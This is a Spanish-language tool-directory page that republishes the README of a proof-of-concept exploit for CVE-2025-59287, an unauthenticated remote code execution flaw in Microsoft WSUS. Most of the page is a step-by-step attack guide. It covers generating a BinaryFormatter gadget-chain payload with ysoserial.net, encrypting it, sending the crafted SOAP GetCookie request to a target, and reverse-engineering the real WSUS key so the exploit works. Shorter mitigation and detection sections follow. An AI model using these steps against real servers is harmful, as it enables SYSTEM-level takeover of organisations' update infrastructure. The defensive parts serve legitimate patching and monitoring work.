Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-59287-exploit-poc — Prueba de concepto del exploit para CVE-2025-59287, una RCE crítica no autenticada en WSUS mediante deserialización insegura de BinaryFormatter, que logra privilegios de SYSTEM a través de cookies cifradas manipuladas. | Kitploit
Herramientas/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Prueba de concepto del exploit para CVE-2025-59287, una RCE crítica no autenticada en WSUS mediante deserialización insegura de BinaryFormatter, que logra privilegios de SYSTEM a través de cookies cifradas manipuladas.

Ver Repositorio
1hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de Prueba de Concepto CVE-2025-59287

Resumen de la Vulnerabilidad

CVE-2025-59287 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Microsoft Windows Server Update Services (WSUS). La vulnerabilidad es causada por una deserialización insegura de datos AuthorizationCookie a través de BinaryFormatter en el método EncryptionHelper.DecryptData().

Impacto: Atacantes no autenticados pueden lograr ejecución remota de código con privilegios de SYSTEM enviando cookies cifradas maliciosas al endpoint GetCookie().

Puntuación CVSS: Crítica (9.8)

Detalles de la Vulnerabilidad

  • Componente Afectado: Endpoint GetCookie() de WSUS ClientWebService.asmx
  • Causa Raíz: BinaryFormatter.Deserialize() llamado sobre entrada no confiable sin validación adecuada
  • Vector de Ataque: Cookie cifrada maliciosa enviada al endpoint SOAP GetCookie()
  • Autenticación Requerida: No (RCE no autenticado)
  • Puertos Afectados: 8530 (HTTP), 8531 (HTTPS)
  • Arquitectura

    root@kitploit:~
    ┌─────────────────┐
    │   Atacante      │
    │                 │
    │  1. Generar     │
    │     Payload     │
    │     BinaryFmt   │
    │                 │
    │  2. Cifrar      │
    │     Payload     │
    │                 │
    │  3. Enviar      │
    │     Solicitud   │
    │     SOAP        │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   Servidor WSUS │
    │                 │
    │  Endpoint       │
    │  GetCookie()    │
    │                 │
    │  DecryptData()  │◄─── Vulnerable
    │                 │
    │  BinaryFormatter│◄─── Deserialización Insegura
    │  Deserialize()  │
    │                 │
    │  Ejecutar       │◄─── RCE como SYSTEM
    │  Payload        │
    └─────────────────┘
    

    Estructura de Archivos

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # Script principal del exploit
    ├── BinaryFormatterPayloadGenerator.cs # Generador de payload .NET (C#)
    ├── encrypt_payload.py                 # Asistente de cifrado WSUS
    ├── requirements.txt                   # Dependencias de Python
    └── README.md                          # Este archivo
    

    Requisitos Previos

    Entorno Python

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (para generación de payload)

    • Windows con .NET Framework 4.0 o posterior
    • O usar ysoserial.net como alternativa

    Uso

    Método 1: Flujo de Trabajo Completo

    Paso 1: Generar Payload BinaryFormatter

    Opción A: Usando el generador C# proporcionado

    root@kitploit:~
    # Compilar el generador
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # Generar payload
    BinaryFormatterPayloadGenerator.exe calc.exe
    # Crea: payload_YYYYMMDDHHMMSS.bin
    

    Opción B: Usando ysoserial.net (Recomendado)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    Paso 2: Cifrar el Payload

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    IMPORTANTE: La clave de cifrado en encrypt_payload.py es un marcador de posición. Para una explotación real, debes:

    1. Hacer ingeniería inversa de la clave de cifrado real desde los binarios de WSUS
    2. Actualizar encrypt_payload.py con la clave real
    3. Consultar la sección "Encontrar la Clave de Cifrado de WSUS" a continuación

    Paso 3: Ejecutar el Exploit

    root@kitploit:~
    # Usando archivo de payload (cifrará sobre la marcha)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # Usando cookie pre-cifrada
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # Con HTTPS (puerto 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    Método 2: Prueba Rápida

    root@kitploit:~
    # Generar, cifrar y explotar en un solo paso
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <IP_OBJETIVO> -f payload_*.bin
    

    Encontrar la Clave de Cifrado Real de WSUS

    La clave de cifrado debe extraerse de los binarios de WSUS para una explotación real.

    Método 1: Ingeniería Inversa con dnSpy

    1. Localizar DLLs de WSUS:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      O el directorio web de IIS:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. Abrir en dnSpy (descompilador .NET gratuito):

      • Descargar: https://github.com/dnSpy/dnSpy
      • Abrir Microsoft.UpdateServices.WebServices.dll
    3. Buscar EncryptionHelper:

      • Navegar a: espacio de nombres Microsoft.UpdateServices.WebServices
      • Encontrar la clase EncryptionHelper
      • Observar los métodos DecryptData() y EncryptData()
      • Extraer la clave de cifrado y el algoritmo
    4. Patrones comunes:

      • Matrices de bytes codificadas
      • Constantes de cadena
      • Derivación de clave desde GUID/SID de la máquina

    Método 2: Análisis en Tiempo de Ejecución

    1. Usar WinDbg o x64dbg:

      • Establecer punto de interrupción en EncryptionHelper.DecryptData()
      • Inspeccionar memoria/registros para material de clave
      • Monitorear operaciones de cifrado/descifrado
    2. Usar Process Monitor:

      • Filtrar por proceso de WSUS
      • Buscar acceso a registro/archivos de configuración
      • Las claves podrían estar almacenadas en el registro

    Método 3: Análisis Estático

    1. Usar IDA Pro o Ghidra:

      • Cargar binarios de WSUS
      • Buscar cadenas relacionadas con cifrado
      • Analizar algoritmos de derivación de clave
    2. Usar la utilidad strings:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    Actualizar el Exploit

    Una vez que tengas la clave real, actualiza encrypt_payload.py:

    root@kitploit:~
    # Reemplaza esta línea en encrypt_wsus_cookie():
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # MARCADOR DE POSICIÓN
    
    # Con la clave real:
    key_material = b"CLAVE_REAL_DE_BINARIOS_WSUS"
    

    O pásala por línea de comandos:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "CLAVE_REAL"
    

    Flujo del Exploit

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. Generar Payload BinaryFormatter                          │
    │    ObjectDataProvider → Process.Start() → Ejecución de      │
    │    Comando                                                  │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. Cifrar Payload                                            │
    │    AES-128-CBC con clave de cifrado WSUS                    │
    │    Codificación Base64 para transmisión                     │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. Crear Solicitud SOAP                                      │
    │    El encabezado AuthorizationCookie contiene el payload     │
    │    cifrado                                                   │
    │    Método GetCookie() en el cuerpo SOAP                     │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. Enviar al Endpoint WSUS                                   │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    Puerto 8530 (HTTP) o 8531 (HTTPS)                         │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. Procesamiento WSUS                                        │
    │    DecryptData() descifra la cookie                          │
    │    BinaryFormatter.Deserialize() ejecuta el payload          │
    │    → RCE como SYSTEM                                         │
    └─────────────────────────────────────────────────────────────┘
    

    Estructura de la Solicitud SOAP

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <OBJETIVO>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                PAYLOAD_BINARYFORMATTER_CIFRADO_EN_BASE64
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    Detalles de Generación del Payload

    El exploit utiliza la cadena de gadgets ObjectDataProvider:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    Cuando BinaryFormatter.Deserialize() procesa esto, automáticamente:

    1. Deserializa el ObjectDataProvider
    2. Invoca el MethodName ("Start") en ObjectInstance (Process)
    3. Pasa MethodParameters (ProcessStartInfo)
    4. Ejecuta el comando con privilegios de SYSTEM

    Lista de Verificación de Pruebas

    • Generar payload BinaryFormatter
    • Extraer/identificar la clave de cifrado de WSUS
    • Cifrar el payload con la clave correcta
    • Verificar que el endpoint WSUS sea accesible
    • Enviar solicitud SOAP con cookie maliciosa
    • Verificar la ejecución del comando en el objetivo
    • Probar en entorno de laboratorio aislado

    Limitaciones

    1. Clave de Cifrado: La clave de marcador de posición no funcionará en sistemas reales. Debe extraerse la clave real.
    2. Payload BinaryFormatter: Requiere .NET Framework o ysoserial.net para generarlo.
    3. Acceso de Red: Debe tener acceso de red al endpoint WSUS (puertos 8530/8531).
    4. Versión de WSUS: El comportamiento puede variar entre versiones de WSUS.

    Mitigación

    Acciones Inmediatas

    1. Aplicar la Actualización de Seguridad de Microsoft: Parchear inmediatamente

      • Consultar el Aviso de Seguridad de Microsoft
      • Actualizar WSUS a la versión parcheada
    2. Solución Temporal: Bloquear puertos si WSUS no es necesario

      root@kitploit:~
      # Bloquear tráfico entrante en puertos WSUS
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. Segmentación de Red: Restringir acceso a endpoints WSUS

      • Permitir acceso solo desde servidores de actualización autorizados
      • Usar reglas de firewall para limitar IPs de origen

    Correcciones a Largo Plazo

    1. Reemplazar BinaryFormatter: Microsoft debería reemplazarlo con serialización segura

      • Usar System.Text.Json o System.Xml.Serialization con validación de tipos
      • Implementar lista blanca estricta de tipos
    2. Validación de Entrada: Agregar validación integral

      • Validar todos los datos de cookies antes de la deserialización
      • Rechazar tipos/esquemas inesperados
    3. Principio de Mínimo Privilegio: Ejecutar servicios WSUS con privilegios mínimos

      • No ejecutar como SYSTEM si es posible
      • Usar cuentas de servicio con permisos limitados

    Detección

    Indicadores de Compromiso (IoC)

    • Tráfico de red inusual hacia el puerto 8530/8531
    • Solicitudes SOAP con encabezados AuthorizationCookie codificados en Base64
    • Ejecución inesperada de procesos desde el contexto del servicio WSUS
    • Excepciones de deserialización BinaryFormatter en registros de WSUS

    Análisis de Registros

    Revisar los registros de WSUS en:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    Buscar:

    • Errores de solicitudes SOAP
    • Excepciones de deserialización
    • Intentos de acceso no autorizado

    Monitoreo de Red

    Monitorear:

    • Solicitudes SOAP a /ClientWebService/ClientWebService.asmx
    • Payloads Base64 grandes en encabezados AuthorizationCookie
    • Ejecución inusual de comandos desde el servicio WSUS

    Aviso Legal

    ⚠️ ADVERTENCIA: Este código de exploit se proporciona solo para pruebas de seguridad autorizadas.

    • ✅ Usos Legales:

      • Probar tus propios sistemas
      • Pruebas de penetración autorizadas
      • Investigación de seguridad con permiso
      • Fines educativos en entornos controlados
    • ❌ Usos Ilegales:

      • Acceso no autorizado a sistemas
      • Ataques maliciosos
      • Violación de leyes de fraude informático
      • Cualquier uso sin permiso explícito

    El uso no autorizado de este exploit puede resultar en enjuiciamiento penal. Úsalo de manera responsable y ética.

    Referencias

    • CVE-2025-59287: Entrada oficial de CVE
    • Aviso de Seguridad de Microsoft: Consultar parche oficial y orientación
    • Guía de Seguridad de BinaryFormatter: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    Créditos

    • Vulnerabilidad descubierta por investigadores de seguridad
    • PoC desarrollado con fines educativos y de pruebas autorizadas

    Historial de Versiones

    • v1.0: Lanzamiento inicial del PoC
      • Script principal del exploit
      • Generador de payload .NET
      • Asistente de cifrado
      • Documentación

    Recuerda: Siempre prueba en entornos aislados y controlados. Nunca lo uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

    Descargar herramienta